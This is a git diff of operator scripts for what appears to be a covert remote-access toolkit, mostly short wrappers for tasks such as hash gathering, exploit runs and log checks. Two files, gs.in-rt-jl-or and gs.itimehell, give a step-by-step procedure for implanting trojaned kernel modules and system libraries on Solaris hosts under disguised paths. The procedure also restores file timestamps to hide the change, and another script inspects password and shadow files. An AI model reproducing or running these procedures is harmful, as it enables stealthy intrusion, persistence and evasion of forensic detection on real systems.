mode 100644 index 0000000..8beb75b --- /dev/null +++ b/Linux/etc/gs.doNOTburn @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autodoNOTburn $GSOPTIONS -nohist + diff --git a/Linux/etc/gs.dopitchimpair b/Linux/etc/gs.dopitchimpair new file mode 100644 index 0000000..b0bf647 --- /dev/null +++ b/Linux/etc/gs.dopitchimpair @@ -0,0 +1 @@ +#NOGS diff --git a/Linux/etc/gs.doproject b/Linux/etc/gs.doproject new file mode 100644 index 0000000..393ccdd --- /dev/null +++ b/Linux/etc/gs.doproject @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autodoproject $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.dospecial b/Linux/etc/gs.dospecial new file mode 100644 index 0000000..dc1a34c --- /dev/null +++ b/Linux/etc/gs.dospecial @@ -0,0 +1,2 @@ +#NOGS +-lsh /current/etc/autodospecial $GSOPTIONS -nohist diff --git a/Linux/etc/gs.ercheck b/Linux/etc/gs.ercheck new file mode 100644 index 0000000..44fec9c --- /dev/null +++ b/Linux/etc/gs.ercheck @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autotoolcheck $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.exercise b/Linux/etc/gs.exercise new file mode 100644 index 0000000..b34b11a --- /dev/null +++ b/Linux/etc/gs.exercise @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoexercise $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.eyouget b/Linux/etc/gs.eyouget new file mode 100644 index 0000000..ba02815 --- /dev/null +++ b/Linux/etc/gs.eyouget @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoeyouget $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.fortidone b/Linux/etc/gs.fortidone new file mode 100644 index 0000000..fe17cb0 --- /dev/null +++ b/Linux/etc/gs.fortidone @@ -0,0 +1,3 @@ +#NOGS +-nohist -lsh /current/etc/autofortidone $GSOPTIONS +-gs /port -nohist diff --git a/Linux/etc/gs.getcdrhits b/Linux/etc/gs.getcdrhits new file mode 100644 index 0000000..727c84d --- /dev/null +++ b/Linux/etc/gs.getcdrhits @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autogetcdrhits $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.getcdrhits.prev b/Linux/etc/gs.getcdrhits.prev new file mode 100644 index 0000000..a13ce67 --- /dev/null +++ b/Linux/etc/gs.getcdrhits.prev @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autogetcdrhits.prev $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.getcdrhitsgz b/Linux/etc/gs.getcdrhitsgz new file mode 100644 index 0000000..57faa6b --- /dev/null +++ b/Linux/etc/gs.getcdrhitsgz @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autogetcdrhitsgz $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.gethashes b/Linux/etc/gs.gethashes new file mode 100644 index 0000000..7aa8316 --- /dev/null +++ b/Linux/etc/gs.gethashes @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autogethashes $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.getnewsuc b/Linux/etc/gs.getnewsuc new file mode 100644 index 0000000..f1c13e9 --- /dev/null +++ b/Linux/etc/gs.getnewsuc @@ -0,0 +1,4 @@ +#NOGS +-lsh /current/etc/autogetnewsuc $GSOPTIONS -nohist +-gs /port -nohist + diff --git a/Linux/etc/gs.gets b/Linux/etc/gs.gets new file mode 100644 index 0000000..8ebfe00 --- /dev/null +++ b/Linux/etc/gs.gets @@ -0,0 +1,6 @@ +#NOGS +# NOTE: This needs to change to just a -oget -e 10000 once 3.0.1 is fully out +-lsh echo -e "#NOGS\\n-oget -e $GSOPTIONS" > /current/etc/gs.gets.next ; mkdir -p /current/down/$NOPEN_RHOSTNAME/etc +-lsh echo $GSOPTIONS | sed "s#.* /etc/\\(.*\\)#-lsh mv /current/down/\\1 /current/down/$NOPEN_RHOSTNAME/etc/\\1#" > /current/.tmpwd ; cat /current/.tmpwd >> /current/etc/gs.gets.next ; rm -f /current/.tmpwd +#-lsh cat /current/etc/gs.gets.next +-gs gets.next diff --git a/Linux/etc/gs.getstrings b/Linux/etc/gs.getstrings new file mode 100644 index 0000000..3fdc62b --- /dev/null +++ b/Linux/etc/gs.getstrings @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autogetstrings $GSOPTIONS -nohist +-gs getstringsnext -nohist diff --git a/Linux/etc/gs.gettail b/Linux/etc/gs.gettail new file mode 100644 index 0000000..0eadf90 --- /dev/null +++ b/Linux/etc/gs.gettail @@ -0,0 +1,4 @@ +#NOGS +-lsh /current/etc/autogettail $GSOPTIONS -nohist +-gs /port -nohist + diff --git a/Linux/etc/gs.grepout b/Linux/etc/gs.grepout new file mode 100644 index 0000000..80307e4 --- /dev/null +++ b/Linux/etc/gs.grepout @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autogrepout $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.helpall b/Linux/etc/gs.helpall new file mode 100644 index 0000000..1506bb6 --- /dev/null +++ b/Linux/etc/gs.helpall @@ -0,0 +1,4 @@ +#NOGS +-lsh /current/etc/autohelpall $GSOPTIONS -nohist +-gs /port -nohist + diff --git a/Linux/etc/gs.histories b/Linux/etc/gs.histories new file mode 100644 index 0000000..05ca580 --- /dev/null +++ b/Linux/etc/gs.histories @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autohistories $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.holdwin b/Linux/etc/gs.holdwin new file mode 100644 index 0000000..b09f7fc --- /dev/null +++ b/Linux/etc/gs.holdwin @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoholdwin $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.holdwindow b/Linux/etc/gs.holdwindow new file mode 100644 index 0000000..b09f7fc --- /dev/null +++ b/Linux/etc/gs.holdwindow @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoholdwin $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.ident_DEPRECATED b/Linux/etc/gs.ident_DEPRECATED new file mode 100644 index 0000000..be09b15 --- /dev/null +++ b/Linux/etc/gs.ident_DEPRECATED @@ -0,0 +1,7 @@ +#NOGS +-ls /etc/*release* -nohist +-cat /etc/*release* -nohist +-get /etc/*release* -nohist +-ls /usr/lib/setup/slack-version-* -nohist +-cat /usr/lib/setup/slack-version-* -nohist +-get /usr/lib/setup/slack-version-* -nohist diff --git a/Linux/etc/gs.idsscript b/Linux/etc/gs.idsscript new file mode 100644 index 0000000..62e09ce --- /dev/null +++ b/Linux/etc/gs.idsscript @@ -0,0 +1,8 @@ +#NOGS +-cmdout /current/down/script.idsGSOPTIONS -nohist +-ls /etc /bin /usr /usr/sbin /usr/local /usr/local/etc -nohist +-cmdout -nohist +-gs replay -Hf /current/down/script.idsGSOPTIONS ps -nohist +-gs replay -Hf /current/down/script.idsGSOPTIONS df -k -nohist +-gs replay -Hf /current/down/script.idsGSOPTIONS netstat -nohist +-lsh rm -f /current/etc/gs.idsscript.GSOPTIONS -nohist diff --git a/Linux/etc/gs.ifconfig b/Linux/etc/gs.ifconfig new file mode 100644 index 0000000..05ef928 --- /dev/null +++ b/Linux/etc/gs.ifconfig @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoifconfig $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.ifconfig.py b/Linux/etc/gs.ifconfig.py new file mode 100644 index 0000000..518a596 --- /dev/null +++ b/Linux/etc/gs.ifconfig.py @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoifconfig.py yada yada $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.in-rt-jl-or b/Linux/etc/gs.in-rt-jl-or new file mode 100644 index 0000000..9c4a637 --- /dev/null +++ b/Linux/etc/gs.in-rt-jl-or @@ -0,0 +1,352 @@ +#NOGS + +# NOTE, THIS HASN'T BEEN FULLY TESTED!! +-pause +# NOTE, THIS HASN'T BEEN FULLY TESTED!! +-pause + +# make sure filesystem types are "ufs" +df -n /usr/kernel /usr /kernel/drv /kernel/exec /platform +df -ak /usr/kernel /usr /kernel/drv /kernel/exec /platform +egrep '(kernel|usr|platform)' /etc/mnttab +mount -p | egrep '(kernel|usr|platform)' +egrep '(kernel|usr|platform)' /etc/vfstab +egrep '(kernel|usr|platform)' /etc/dfs/sharetab +-pause + +-gs tripwire +-pause + +uname -a +psrinfo -v +isainfo -kv +-pause + +# itimehell begins +-cmdout /current/down/itimehell + +# INC +./it /kernel/exec +./it /kernel/exec/intpexec +./it /kernel/exec/sparcv9 +./it /kernel/exec/sparcv9/intpexec +./it /usr/sbin +./it /usr/sbin/sysidlib + +# PIPE +./it /usr +if [ -d /usr/vmsys ]; then ./it /usr/vmsys; ./it /usr/vmsys/bin; ./it /usr/vmsys/bin/vmodify; else ./it /usr/kernel; fi + +# RET +./it /kernel/drv +./it /kernel/drv/tl +./it /kernel/drv/sparcv9 +./it /kernel/drv/sparcv9/tl + +# JL +./it /usr/lib +./it /usr/lib/libsocket.so.1 +./it /usr/lib/sparcv9 +./it /usr/lib/sparcv9/libsocket.so.1 + +# OR +./it /usr/kernel/fs +./it /usr/kernel/fs/fdfs +./it /usr/kernel/fs/sparcv9 +./it /usr/kernel/fs/sparcv9/fdfs +./it /platform +./it /platform/`uname -m` +./it /usr/lib +./it /usr/lib/sparcv9 + +# The following lines ; before picture +-ls -i /usr/kernel/fs/fdfs /usr/kernel/fs/sparcv9/fdfs /kernel/drv/tl /kernel/drv/sparcv9/tl /kernel/exec/intpexec /kernel/exec/sparcv9/intpexec /usr/sbin/sysiddev /usr/vmsys/bin/pipe /usr/lib/libsocket.so.1 /usr/lib/sparcv9/libsocket.so.1 +-cmdout + +-lsh itflip /current/down/itimehell + +-pause +# verify checksums of TARGET modules +# +# OS file size sum +# ------ ----- ---- -------- +# S7 fdfs 8560 21022 17 +# sparcv9/fdfs 12784 42940 25 +# S8 fdfs 8832 49397 18 +# sparcv9/fdfs 12864 8119 26 + +sum /usr/kernel/fs/fdfs /usr/kernel/fs/sparcv9/fdfs +-pause + +# READY TO BEGIN? +-pause + +mkdir /platform/SUNW,SystemEngine +mkdir /platform/SUNW,SystemEngine/kernel +mkdir /platform/SUNW,SystemEngine/kernel/drv +mkdir /usr/lib/sparc +-pause + +-put ../up/iu* iu.tar.Z + +uncompress iu.tar.Z && tar -xvf iu.tar && rm iu.tar +-ls +-pause + +cp /kernel/drv/tl tlm +cp /kernel/drv/sparcv9/tl sparcv9/tlm +cp /kernel/exec/intpexec int +cp /kernel/exec/sparcv9/intpexec sparcv9/int +-pause + +# verify checksums of TARGET modules +# +# OS file size sum +# ------ ----- ---- -------- +# S7 intpexec 3672 20696 8 +# sparcv9/intpexec 5368 37576 11 +# S8 intpexec 3380 19739 7 +# sparcv9/intpexec 4632 32047 10 +isainfo -kv + +# If in 64-bit mode +# mv sparcv9/it it +# mv sparcv9/bio bio +-pause + +F=/usr/sbin/sysiddev; mv sy $F; chmod 711 $F; chown root:sys $F +-pause + +# it ###TIMES### /usr/sbin/sysiddev +# it ###TIMES### /usr/sbin +-pause +-ls /usr/sbin/sys* +-pause + +cp /usr/sbin/modload ml +cp /usr/sbin/modinfo mi +./ml bio; ./mi +-pause + +date; date -u + +-ls -iR /kernel/exec + +-ls in sparcv9/in + +# 32 bit +# mv /kernel/exec/intpexec /platform/SUNW,SystemEngine/kernel/drv/dma ; cp in /kernel/exec/intpexec + +# 64 bit +# mv /kernel/exec/sparcv9/intpexec /platform/SUNW,SystemEngine/kernel/drv/leo ; cp sparcv9/in /kernel/exec/sparcv9/intpexec +-pause + +# if have 64 bit stuff +# it ###TIMES### /platform/SUNW,SystemEngine/kernel/drv/leo +# it ###TIMES### /kernel/exec/sparcv9/intpexec +# it ###TIMES### /kernel/exec/sparcv9 +# always do 32 bit stuff +# it ###TIMES### /platform/SUNW,SystemEngine/kernel/drv/dma +# it ###TIMES### /kernel/exec/intpexec +# it ###TIMES### /kernel/exec +-pause + +-ls -iR /kernel/exec +rm -f bio in sparcv9/bio sparcv9/in +-pause + +-ls -d /usr/vmsys +# if /usr/vmsys does not exist +# mkdir /usr/vmsys /usr/vmsys/bin +# chmod -R 755 /usr/vmsys; chown -R bin:bin /usr/vmsys +-pause + +F=/usr/vmsys/bin/pipe; mv pipe $F; chmod 755 $F; chown bin:bin $F +-pause + +# it ###TIMES### /usr/vmsys/bin/pipe +# it ###TIMES### /usr/vmsys/bin +# it ###TIMES### /usr/vmsys + +# if /usr/vmsys did not exist +# it ###TIMES### /usr +-pause + +-ls /usr/vmsys/bin +-pause + +# OS file size sum +# ------ ----- ---- -------- +# S7 tl 28956 23450 +# sparcv9/tl 39424 12934 +# S8 tl 28532 53129 +# sparcv9/tl 37400 51509 + +-ls -l /kernel/drv/tl /kernel/drv/sparcv9/tl +sum /kernel/drv/tl /kernel/drv/sparcv9/tl +-pause + +isainfo -kv +#(IF 64-bit mode) +# mv sparcv9/irt irt +-pause + +./ml irt; ./mi +-pause + +-rm irt sparcv9/irt +-pause + +-ls trt sparcv9/trt +-pause + +# 32 bit +mv /kernel/drv/tl /platform/SUNW,SystemEngine/kernel/drv/fd; cp trt /kernel/drv/tl +# 64 bit +# mv /kernel/drv/sparcv9/tl /platform/SUNW,SystemEngine/kernel/drv/vme ; cp sparcv9/trt /kernel/drv/sparcv9/tl +-pause + +# it ###TIMES### /platform/SUNW,SystemEngine/kernel/drv/vme +# it ###TIMES### /kernel/drv/sparcv9/tl +# it ###TIMES### /kernel/drv/sparcv9 +# it ###TIMES### /platform/SUNW,SystemEngine/kernel/drv/fd +# it ###TIMES### /kernel/drv/tl +# it ###TIMES### /kernel/drv +-pause + +-rm sparcv9/trt trt +-pause + +-ls -i /kernel/drv/tl /kernel/drv/sparcv9/tl /platform/SUNW,SystemEngine/kernel/drv/ +-pause + + +# if Jack is already there.... +# upload good binaries, and put them back; blowing out some inodes again +# You must also match the ownership and permissions + + #upload uf.Z + 3 + uf.Z + ../up/uf.Z + uncompress uf.Z && tar -xvf uf && rm uf + # temporarily uninstall jack + ls -al lso /usr/lib/libsocket.so.1 + chmod ### lso;chown ###:### lso;ls -al lso + ls -al sparcv9/lso /usr/lib/sparcv9/libsocket.so.1 + chmod ### sparcv9/lso;chown ###:### sparcv9/lso;ls -al sparcv9/lso + + mv lso /usr/lib/libsocket.so.1 + pf -m /usr/lib/libsocket.so.1 + mv sparcv9/lso /usr/lib/sparcv9/libsocket.so.1 + pf -m /usr/lib/sparcv9/libsocket.so.1 + + +# Start here if Jack not installed previously + +cp so /usr/lib/sparc/ld.so +cp sparcv9/so /usr/lib/sparc/libC.so + +it ###TIMES### /usr/lib/sparc/libC.so +it ###TIMES### /usr/lib/sparcv9/libsocket.so.1 +it ###TIMES### /usr/lib/sparcv9 +it ###TIMES### /usr/lib/sparc/ld.so +it ###TIMES### /usr/lib/libsocket.so.1 +it ###TIMES### /usr/lib + +#################################################### +######## ORANGUTAN +#################################################### +mv /usr/kernel/fs/fdfs /usr/lib/sparc/lddstub;cp or /usr/kernel/fs/fdfs +mv /usr/kernel/fs/sparcv9/fdfs /usr/lib/sparc/cpp;cp sparcv9/or /usr/kernel/fs/sparcv9/fdfs +cp ka /platform/SUNW,SystemEngine/kadb +-pause + +-rm tlm sparcv9/tlm int sparcv9/int lso sparcv9/lso so sparcv9/so or sparcv9/or ka + +chown root:sys /kernel/drv/tl /kernel/drv/sparcv9/tl +chown root:sys /kernel/exec/intpexec /kernel/exec/sparcv9/intpexec +chown root:sys /usr/sbin/sysiddev +chown bin:bin /usr/vmsys/bin/pipe +chown root:sys /usr/kernel/fs/fdfs /usr/kernel/fs/sparcv9/fdfs +chown -R root:sys /platform/SUNW,SystemEngine /usr/lib/sparc +chown root:bin /usr/lib/sparc +chmod 755 /kernel/drv/tl /kernel/drv/sparcv9/tl +chmod 755 /kernel/exec/intpexec /kernel/exec/sparcv9/intpexec +chmod 711 /usr/sbin/sysiddev +chmod 755 /usr/vmsys/bin/pipe +chmod 755 /usr/kernel/fs/fdfs /usr/kernel/fs/sparcv9/fdfs +chmod -R 755 /platform/SUNW,SystemEngine /usr/lib/sparc +-pause + +# For IN +# ./it ## SAVED ITIME ## /platform/SUNW,SystemEngine/kernel/drv/leo +# ./it ## SAVED ITIME ## /kernel/exec/sparcv9/intpexec +# ./it ## SAVED ITIME ## /kernel/exec/sparcv9 +# ./it ## SAVED ITIME ## /platform/SUNW,SystemEngine/kernel/drv/dma +# ./it ## SAVED ITIME ## /kernel/exec/intpexec +# ./it ## SAVED ITIME ## /kernel/exec +# ./it ## SAVED ITIME ## /usr/sbin/sysiddev +# ./it ## SAVED ITIME ## /usr/sbin +# ./it ## SAVED ITIME ## /usr/vmsys/bin/pipe +# ./it ## SAVED ITIME ## /usr/vmsys/bin +# ./it ## SAVED ITIME ## /usr/vmsys +# ./it ## SAVED ITIME ## /usr +-pause + + +# For RE +# ./it ## SAVED ITIME ## /platform/SUNW,SystemEngine/kernel/drv/vme +# ./it ## SAVED ITIME ## /kernel/drv/sparcv9/tl +# ./it ## SAVED ITIME ## /kernel/drv/sparcv9 +# ./it ## SAVED ITIME ## /platform/SUNW,SystemEngine/kernel/drv/fd +# ./it ## SAVED ITIME ## /kernel/drv/tl +# ./it ## SAVED ITIME ## /kernel/drv +-pause + +# For OR +# ./it ## SAVED ITIME ## /usr/lib/sparc/cpp +# ./it ## SAVED ITIME ## /usr/kernel/fs/sparcv9/fdfs +# ./it ## SAVED ITIME ## /usr/kernel/fs/sparcv9 +# ./it ## SAVED ITIME ## /usr/lib/sparc/lddstub +# ./it ## SAVED ITIME ## /usr/kernel/fs/fdfs +# ./it ## SAVED ITIME ## /usr/kernel/fs +-pause + +# For JL +# ./it ## SAVED ITIME ## /usr/lib/sparc/libC.so +# ./it ## SAVED ITIME ## /usr/lib/sparc/ld.so +-pause + +# ./it ## SAVED ITIME ## /platform/SUNW,SystemEngine/kernel/drv +# ./it ## SAVED ITIME ## /platform/SUNW,SystemEngine/kernel +# ./it ## SAVED ITIME ## /platform/SUNW,SystemEngine/kadb +# ./it ## SAVED ITIME ## /platform/SUNW,SystemEngine +# ./it ## SAVED ITIME ## /platform +-pause + +# ./it ## SAVED ITIME ## /usr/lib/sparc +# ./it ## SAVED ITIME ## /usr/lib +-pause + +ls -il /kernel/drv/tl /kernel/drv/sparcv9/tl +ls -il /kernel/exec/intpexec /kernel/exec/sparcv9/intpexec /usr/sbin/sysiddev +ls -il /usr/vmsys/bin/pipe +ls -il /usr/lib/libsocket.so.1 /usr/lib/sparcv9/libsocket.so.1 +ls -il /usr/kernel/fs/fdfs /usr/kernel/fs/sparcv9/fdfs +ls -il /platform/SUNW,SystemEngine/kernel/drv /usr/lib/sparc +-pause + +isainfo -kv +#### IF 32-bit +# ./ml ./om +#### ELSE 64-bit +# ./ml ./sparcv9/om +-pause + +./mi + +-ls -i /platform/SUNW,SystemEngine /usr/lib/sparc /usr/kernel/fs/fdfs /usr/kernel/fs/sparcv9/fdfs /kernel/drv/tl /kernel/drv/sparcv9/tl /kernel/exec/intpexec /kernel/exec/sparcv9/intpexec /usr/sbin/sysiddev /usr/lib/libsocket.so.1 /usr/lib/sparcv9/libsocket.so.1 /usr/vmsys/bin/pipe + +rm -rf pf it sparcv9 om ml mi + diff --git a/Linux/etc/gs.info b/Linux/etc/gs.info new file mode 100644 index 0000000..94d9203 --- /dev/null +++ b/Linux/etc/gs.info @@ -0,0 +1,10 @@ +#NOGS +w -nohist +-pacct -nohist +-pause -nohist +-logs -nohist +uname -a; date; date -u -nohist +=dfcheck -nohist +=ps -nohist +-ls /etc/passwd /etc/shadow -nohist +wc -l /etc/passwd /etc/shadow -nohist diff --git a/Linux/etc/gs.install b/Linux/etc/gs.install new file mode 100644 index 0000000..ebdfa32 --- /dev/null +++ b/Linux/etc/gs.install @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoinstall $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.iptableslist b/Linux/etc/gs.iptableslist new file mode 100644 index 0000000..bdd9805 --- /dev/null +++ b/Linux/etc/gs.iptableslist @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoiptableslist $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.itimehell b/Linux/etc/gs.itimehell new file mode 100644 index 0000000..36b8c82 --- /dev/null +++ b/Linux/etc/gs.itimehell @@ -0,0 +1,60 @@ +#NOGS + +uname -a +psrinfo -v +isainfo -kv +-pause + +# make sure filesystem types are "ufs" +df -n /kernel/drv /kernel/exec /platform /usr /usr/kernel +-pause +df -ak /usr/kernel /kernel/exec /platform /usr /usr/kernel +-pause +egrep '(kernel|usr|platform)' /etc/mnttab /etc/vfstab /etc/dfs/sharetab +mount -p | egrep '(kernel|usr|platform)' +-pause + +-gs tripwire +-pause + +# itimehell begins +-cmdout /current/down/itimehell + +# INC +./it /kernel/exec +./it /kernel/exec/intpexec +./it /kernel/exec/sparcv9 +./it /kernel/exec/sparcv9/intpexec + +# RET +./it /kernel/drv +./it /kernel/drv/tl +./it /kernel/drv/sparcv9 +./it /kernel/drv/sparcv9/tl + +# JL +./it /usr/lib +./it /usr/lib/sparcv9 +./it /usr/lib/libsocket.so.1 +./it /usr/lib/sparcv9/libsocket.so.1 + +# OR +./it /usr/kernel/fs +./it /usr/kernel/fs/fdfs +./it /usr/kernel/fs/sparcv9 +./it /usr/kernel/fs/sparcv9/fdfs +./it /platform +./it /platform/`uname -m` +-cmdout +-pause + +-lsh itflip /current/down/itimehell + +sum /usr/kernel/fs/fdfs /usr/kernel/fs/sparcv9/fdfs +-ls -i /usr/kernel/fs/fdfs /usr/kernel/fs/sparcv9/fdfs /kernel/drv/tl /kernel/drv/sparcv9/tl /kernel/exec/intpexec /kernel/exec/sparcv9/intpexec /usr/lib/libsocket.so.1 /usr/lib/sparcv9/libsocket.so.1 + +-beep 3 +### LAST CHANCE TO BAIL. HIT ^C TO CUT BAIT, RETURN TO GO FISHIN ### +-pause +### "Let the Games Begin!" +/current/etc/autoitime diff --git a/Linux/etc/gs.jackpop b/Linux/etc/gs.jackpop new file mode 100644 index 0000000..3705ce5 --- /dev/null +++ b/Linux/etc/gs.jackpop @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autojackpop $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.jlinstantgrat b/Linux/etc/gs.jlinstantgrat new file mode 100644 index 0000000..9e7dc10 --- /dev/null +++ b/Linux/etc/gs.jlinstantgrat @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autojlinstantgrat $GSOPTIONS -nohist +-gs jlinstantgratnext -nohist diff --git a/Linux/etc/gs.jscan b/Linux/etc/gs.jscan new file mode 100644 index 0000000..0c87651 --- /dev/null +++ b/Linux/etc/gs.jscan @@ -0,0 +1,4 @@ +#NOGS +-lsh cd /current/etc ; chmod +x auto* ; ./autojscan $GSOPTIONS -nohist +-gs /current/etc/autojscannext -nohist + diff --git a/Linux/etc/gs.jsploit b/Linux/etc/gs.jsploit new file mode 100644 index 0000000..fa34a54 --- /dev/null +++ b/Linux/etc/gs.jsploit @@ -0,0 +1,3 @@ +#NOGS +-lsh cd /current/etc ; chmod +x auto* ; ./autojsploit $GSOPTIONS -nohist +-gs /current/etc/autojsploitnext -nohist diff --git a/Linux/etc/gs.keepalive b/Linux/etc/gs.keepalive new file mode 100644 index 0000000..b0a9c62 --- /dev/null +++ b/Linux/etc/gs.keepalive @@ -0,0 +1,4 @@ +#NOGS +# Keeping alive according to autolive.conf -nohist +-w >> L:/current/down/keepalive.output -nohist +-lsh /current/etc/autolive -nohist diff --git a/Linux/etc/gs.kernelstuff.linux b/Linux/etc/gs.kernelstuff.linux new file mode 100644 index 0000000..7bb5f69 --- /dev/null +++ b/Linux/etc/gs.kernelstuff.linux @@ -0,0 +1,4 @@ +#NOGS +-lsh /current/etc/autokernelstuff.linux $GSOPTIONS -nohist +-gs /port -nohist + diff --git a/Linux/etc/gs.kernelstuff.linux.old3.0.3.1 b/Linux/etc/gs.kernelstuff.linux.old3.0.3.1 new file mode 100644 index 0000000..12735ce --- /dev/null +++ b/Linux/etc/gs.kernelstuff.linux.old3.0.3.1 @@ -0,0 +1,5 @@ +#NOGS +-nohist -lsh echo -e "\\\\n\\\\n\\\\n\\\\nYOU MUST RUN THIS SEPARATELY ONCE AUTODONE IS COMPLETE WITH noclient 3.0.3.1:\\\\n\\\\n\\\\n\\\\n -gs kernelstuff.linux\\\\n\\\\n\\\\n\\\\n" +-nohist -lsh sleep 15 ; cp /current/etc/gs.kernelstuff.linux.3.0.3.2 /current/etc/gs.kernelstuff.linux + + diff --git a/Linux/etc/gs.logcheck b/Linux/etc/gs.logcheck new file mode 100644 index 0000000..fc09303 --- /dev/null +++ b/Linux/etc/gs.logcheck @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autologcheck $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.logtool b/Linux/etc/gs.logtool new file mode 100644 index 0000000..6063144 --- /dev/null +++ b/Linux/etc/gs.logtool @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autologtool $GSOPTIONS -nohist + diff --git a/Linux/etc/gs.lss b/Linux/etc/gs.lss new file mode 100644 index 0000000..a327ed8 --- /dev/null +++ b/Linux/etc/gs.lss @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autolss `echo "$GSOPTIONS" | sed -e "s,\?,___QMARK___,g" -e "s,\*,___STAR___,g"` -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.lss.py b/Linux/etc/gs.lss.py new file mode 100644 index 0000000..6256633 --- /dev/null +++ b/Linux/etc/gs.lss.py @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autolss.py $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.lssold b/Linux/etc/gs.lssold new file mode 100644 index 0000000..783c4ad --- /dev/null +++ b/Linux/etc/gs.lssold @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autolssold "$GSOPTIONS" -nohist +-gs lssnext -nohist diff --git a/Linux/etc/gs.lsstest b/Linux/etc/gs.lsstest new file mode 100644 index 0000000..31ff3c6 --- /dev/null +++ b/Linux/etc/gs.lsstest @@ -0,0 +1,3 @@ +#NOGS +-lsh echo GSOPTIONS="$GSOPTIONS" ; /current/etc/autolss $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.mkoffset b/Linux/etc/gs.mkoffset new file mode 100644 index 0000000..02819ea --- /dev/null +++ b/Linux/etc/gs.mkoffset @@ -0,0 +1,3 @@ +#NOGS +-nohist date ; date -u > L:/current/etc/.dates +-lsh -nohist [ -f /current/tmp/$NOPEN_MYPID.namefix ] && source /current/tmp/$NOPEN_MYPID.namefix ; mv /current/etc/.dates /current/tmp/.crondates.$NOPEN_RHOSTNAME ; (echo -e "\\\n\\\nOur (CORRECT we hope) local/GMT:" ; date ; date -u ; echo -e "\\\n\\\nRemote local/GMT:" ; cat /current/tmp/.crondates.$NOPEN_RHOSTNAME ; (echo "#mkoffset for $NOPEN_RHOSTNAME (in minutes)" ; mkoffset -qmf /current/tmp/.crondates.$NOPEN_RHOSTNAME) | tee /current/down/utc_offset.$NOPEN_RHOSTNAME) | tee /current/down/mkoffset.$NOPEN_RHOSTNAME diff --git a/Linux/etc/gs.monsize b/Linux/etc/gs.monsize new file mode 100644 index 0000000..25de8c1 --- /dev/null +++ b/Linux/etc/gs.monsize @@ -0,0 +1,43 @@ +#NOGS + +-lsetenv M_TIMEOUT=10 +-lsetenv M_DIRECTORY="/tmp/testing/" + +# get a listing of the directory + +ls -l /tmp/testing >L:/tmp/current.list +-lsh cat /tmp/current.list | gawk ' { print $5," ","/tmp/testing/"$9 }' >/tmp/old.file.name ; rm /tmp/current.list +-lsh printf "\\n\\nPlease delete any files in /tmp/old.file.name that you want\\n\\n-lsh\\n vi /tmp/old.file.name\\n" + +-pause + + +-lsh echo "#NOGS" >/tmp/gs.mon +-lsh echo "ls -l $M_DIRECTORY >L:/tmp/current.list" >>/tmp/gs.mon + + +#ls -l /tmp/testing >L:/tmp/current.list + +# take the listing and print out the sizes and names +#-lsh echo "-lsh cat /tmp/current.list | gawk ' { print $5,\" \",\"/tmp/testing/\"$9 }' >/tmp/current.file.name" >>/tmp/gs.mon +-lsh echo "-lsh cat /tmp/current.list | gawk ' { print \\$5,\\" \\",\\"$M_DIRECTORY\\"\\$9 }' >/tmp/current.file.name" >>/tmp/gs.mon +#-lsh cat /tmp/current.list | gawk ' { print $5," ","/tmp/testing/"$9 }' >/tmp/current.file.name + +# What was different from last time +-lsh echo "-lsh diff --ignore-all-space /tmp/current.file.name /tmp/old.file.name | grep \\"<\\" | grep -v \\"\\/$\\" |cut -d\\" \\" -f 2- >/tmp/dif" >>/tmp/gs.mon +#-lsh diff --ignore-all-space /tmp/current.file.name /tmp/old.file.name | grep "<" | grep -v "\/$" |cut -d" " -f 2- >/tmp/dif + +-lsh echo "-lsh cat /tmp/dif |awk '{print \\$2}' >/tmp/getting" >>/tmp/gs.mon +#-lsh cat /tmp/dif |awk '{print $2}' >/tmp/getting +-lsh echo "-fget /tmp/getting" >>/tmp/gs.mon + 